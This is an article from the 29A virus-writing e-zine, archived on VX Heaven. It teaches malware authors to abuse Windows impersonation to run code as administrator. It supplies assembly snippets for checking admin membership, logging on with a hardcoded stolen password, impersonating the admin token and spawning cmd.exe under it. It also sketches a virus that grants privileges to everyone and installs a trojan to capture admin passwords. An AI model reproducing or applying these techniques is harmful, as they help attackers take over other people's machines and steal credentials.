VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Impersonation, your friend

29a [6]
March 2002

[Back to index] [Comments]


Imagine a situation. You're running under security context of non administrator user but you have the admin password (how to gain it see my next article). You have the privileges you need and now you are thinking about what I will do with it? The answer for you is impersonation.

Let's have a look at MSDN definition of impersonation: Impersonation is the ability of a thread to execute using different security information than the process that owns the thread.

There exist a lot of types of impersonation eg DDE, a named-pipe, RPC impersonation etc. Generally impersonation is used when the server needs to act for while as the client. But we will use this method to declare our thread as an admin one and to create admin processes ...

Needed privileges

If you want to impersonate running thread the only privilege you need is the SeTcbPrivilege. However if you want to create a new process under the different security context you need SeAssignPrimaryTokenPrivilege, SeIncreaseQuotaPrivilege and SeTcbPrivilege too.

A impersonation scenario may look like this:

your virus is runned under the administrator user account. it adds needed privileges to everyone and installs a trojan to get admin passwords. later, when runned under normal user account it impersonates the admin one and worx normally as it would be runned under admin account.

Administrator check

First of all you might want to know whether your process runs under the member of the administrator group account or not (it's useless to impersonate admin when you're amin too :)) This little code snippet may help you ...

Admin Check

; CheckTokenMemberShip function is in advapi32.dll
; If used for an impersonated token, won't return a valid result

        SECURITY_BUILTIN_DOMAIN_RID     equ     20h
        DOMAIN_ALIAS_RID_ADMINS         equ     220h
        SECURITY_NT_AUTHORITY           equ     5

; out: eax - bool
is_caller_admin proc    near
        @SEH_SetupFrame <jmp is_caller_admin_end>

        @pushvar <dd    ?>
        pop eax
        and dword ptr [eax], 0
        push eax
        push eax
        align 4
        call $+24
        db      0ffh, 25h, 60h
        db      1                       ; create admin member SID
        db      2
        db      0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY
        add dword ptr [esp], 3
        push 0                          ; check the token of running thread
        call CheckTokenMembership       ; for admin SID

        pop eax
        mov eax, dword ptr [eax]

        mov dword ptr [esp.Pushad_eax], eax
is_caller_admin endp

Running thread impersonation

Let's have an account "administrator" with the password "fucker". First of all we have to log in this user. For this we will use the LogonUser function which is exported by advapi32.dll. Let's have a look at the prototype:

BOOL LogonUser(
  LPTSTR lpszUsername,    // user name
  LPTSTR lpszDomain,      // domain or server
  LPTSTR lpszPassword,    // password
  DWORD dwLogonType,      // type of logon operation
  DWORD dwLogonProvider,  // logon provider
  PHANDLE phToken         // receive tokens handle

In phToken we will recieve the tokens handle which we'll need later. Logon provider will be null (ie default). Logon type is LOGON32_LOGON_INTERACTIVE and password and user name is obvious. Domain will be null. Now let's see the code.

Loging in an user

        LOGON32_LOGON_INTERACTIVE       equ     2

        @pushvar <htoken        dd      ?>
        push 0
        @pushsz "fucker"
        push 0
        @pushsz "administrator"
        call LogonUserA

If everything went fine we have a impersonation token. Now we will use the ImpersonateLoggedOnUser function which will finally declare our thread as and impersonated one. The function takes one parameter - token.

Impersonating an user

        push dword ptr [htoken]
        call ImpersonateLoggedOnUser

Now our thread runs under the administrator privileges. We can do all we need and later, when we are finished with admin stuff we want to get back our own security context just call RevertToSelf function ...

Reverting back

        call dword ptr [ebp+tRevertToSelf]

Creating a new process under impersonated security context

First of all we have to log in as in previous case. Just use the same code as presented in - Loging in an user -. We will use the CreateProcessAsUser function which is again exported by advapi32.dll. This api is almost the same as CreateProcess but it takes one param more - token.

Creating an admin process

        GMEM_ZEROINIT           equ     040h

        push GMEM_ZEROINIT
        call GlobalAlloc
        xchg eax, ebx

        xor eax,eax
        push ebx
        push ebx
        add dword ptr [esp], type(PROCESS_INFORMATION)
        push eax
        push eax
        push eax
        push 1
        push eax
        push eax
        @pushsz "cmd.exe";
        push eax
        push dword ptr [htoken]
        call CreateProcessAsUserA
        push ebx
        call GlobalFree

        push dword ptr [htoken]
        call CloseHandle

This snippet will run an instance of command intepreter which will run under under administrator security context ...


As you might see impersonation is a very powerfull thingy. The only weak point are the passwords. But if you find a good way to get the password (eg a trojan horse) then it will be your best friend :)

Ratter/29A - I'm a stranger in the world I haven't made
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka